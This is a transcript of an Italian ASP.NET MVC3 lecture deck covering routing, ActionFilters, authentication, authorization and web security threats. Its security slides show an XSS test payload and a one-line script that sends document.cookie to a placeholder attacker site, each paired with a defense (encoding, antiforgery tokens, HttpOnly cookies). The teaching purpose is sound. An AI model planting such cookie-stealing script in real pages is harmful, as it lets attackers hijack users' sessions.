ASP.NET MVC3 - Tutti i compiti del Controller

Post on 22-Apr-2015

911 views 2 download

description

Dai cross-cutting concerns alla security parlando di ActionFilter e Routing

Transcript of ASP.NET MVC3 - Tutti i compiti del Controller

ASP.NET

Sviluppo applicazioni web e linguaggio HTML

LEZIONE 07

Model View Controller

Model

Processa le richieste

degli utenti compilando

il modello e scegliendo

la view da renderizzare

Come fanno le richieste

ad arrivare al Controller?

Attraverso la definizione

di regole

di Routing

Una regola di routing

traduce l’indirizzo di una

richiesta in una

serie di parametri

Una regola di routing

traduce l’indirizzo di una

richiesta in una

serie di parametri

Tra questi parametri

devono sempre esserci

controller e action

… e poi?

… e poi tocca a noi

routes.MapRoute (

"PostByDate",

"date/{year}/{month}",

new { controller = "Post",

action = "ByDate",

year = DateTime.Now.Year,

month = DateTime.Now.Month

}

);

1

… e poi tocca a noi

public ActionResult ByDate(int year, int month)

{

IList<Post> posts = new List<Post>();

using (var db = new BlogContext())

{

posts = (from p in db.Posts

where p.PublishedDate.Year == year

&& p.PublishedDate.Month == month

select p).ToList();

}

return View("List", posts);

}

2

This slide is intentionally blank

Una delle caratteristiche

del pattern MVC è la

Separation of Concerns

… ma ci sono degli aspetti

dell’applicazione che sono

“trasversali”

Il risultato è spesso una

duplicazione di codice

In questi casi possiamo

utilizzare gli ActionFilter

Attributi che decorano le

action del controller che

vogliamo intercettare

Scriviamo un filtro per

salvare le statistiche sul

numero di pagine visitate

Se il filtro deve essere

applicato a tutte le action

posso aggiungerlo alla

lista dei GlobalFilters nel

file global.asax

This slide is intentionally blank

La sicurezza di una

applicazione viene garantita

tra le altre cose da …

Riconoscimento

dell’utente collegato 1

Riconoscimento

dell’utente collegato 1

2 Verifica dell’autorizzazione

a procedere

Riconoscimento

dell’utente collegato 1

2 Verifica dell’autorizzazione

a procedere

3 Protezione dalle minacce

facilitate dalle vulnerabilità

Riconoscimento

dell’utente collegato 1

Per identificare un utente

utilizziamo l’autenticazione

tramite form

Per specificare che una

action richiede il

riconoscimento dell’utente

usiamo il filtro

AuthorizeAttribute

Il filtro controlla nell’HttpContext

se l’utente è autenticato, se non

è così visualizza la pagina di

login specificata nel web.config

A questo punto l’utente ci

fornisce le sue credenziali …

Utilizza il membership provider integrato(ovvero gli utenti sono salvati nel database ASPNETDB.mdf)

Normalmente però le

credenziali dobbiamo

verificarle noi, dall’elenco

degli utenti della nostra

applicazione

Dependency

Injection

Verifica dell’autorizzazione a

procedere

Anche se l’utente è

conosciuto non è detto che

abbia i permessi per

svolgere una determinata

operazione

L’accesso può essere

regolato per utente e/o per

ruolo, generalmente però i

permessi sono specifici

dell’applicazione

Ad esempio un autore non

può modificare i post di un

altro autore

Protezione dalle minacce

facilitate dalle vulnerabilità 3

Quali vulnerabilità,

quali minacce?

Cross Site Scripting Permette ad un hacker di inserire

codice al fine di modificare il

contenuto della pagina web

visitata.

Cross Site Scripting Permette ad un hacker di inserire

codice al fine di modificare il

contenuto della pagina web

visitata. In questo modo è possibile

sottrarre dati sensibili presenti nel

browser degli utenti che visiteranno

successivamente quella pagina.

Fonte: Wikipedia

Come può accadere? Se permetto agli utenti del mio

sito di inserire contenuti in html …

Come può accadere? Se permetto agli utenti del mio

sito di inserire contenuti in html,

devo disabilitare il controllo degli

input con [ValidateInput=false]

Come può accadere? Se permetto agli utenti del mio

sito di inserire contenuti in html,

devo disabilitare il controllo degli

input con [ValidateInput=false]

E se poi qualcuno scrive del

codice javascript?

<script>alert(„XSS‟)</script>

Come difendersi?

Come difendersi?

Encoding quando serve

e validazione degli input

lato server, ovvero pulizia

dai tag indesiderati

Cross Site Request Forgery Permette ad un hacker di

sfruttare l‟autenticazione

tramite cookie per effettuare

una richiesta cross-domain a

nome dell‟utente (ovviamente

ignaro di tutto).

Come può accadere? Accade se visito la pagina nella

quale un hacker ha inserito un link

con i parametri “giusti” (oppure

un codice che esegue un post

automatico) dopo essermi

autenticato sul sito vulnerabile a

tale attacco.

Come difendersi?

Come difendersi? Controllare il referrer della

richiesta oppure utilizzare

un token fornito

dall’Antiforgery Helper

Indirizzo dal quale

è stata inviata la

richiesta

Antiforgery Helper

@using(Html.BeginForm()) {

@Html.AntiForgeryToken()

<!-- controlli di input -->

}

1

2 [HttpPost]

[ValidateAntiForgeryToken]

public ActionResult Change(string pwd)

{

Session Hijacking Permette ad un hacker di

sfruttare la vulnerabilità XSS per

“rubare” l‟identità di un utente

data dal suo cookie di

autenticazione.

Come può accadere? L‟hacker nasconde dietro

l‟indirizzo di una immagine una

chiamata al suo sito passndo

come parametro il valore del

cookie dell‟utente.

img.src = “http://sito.hacker/ruba_identita?cookies=“+

encodeURI(document.cookie);

Come difendersi?

Come difendersi? Impedire l‟accesso al cookie

tramite script settando a true la

proprietà HttpOnly (disponibile

da IE 6 SP1).

continua?

Slide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/

Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/

Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/

Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/

Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/

Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/

Credits Le immagini contenute in questa presentazione

hanno licenza Creative Commons

Thank You

MANUEL SCAPOLAN website: www.manuelscapolan.it twitter: manuelscapolan e-mail: info@manuelscapolan.it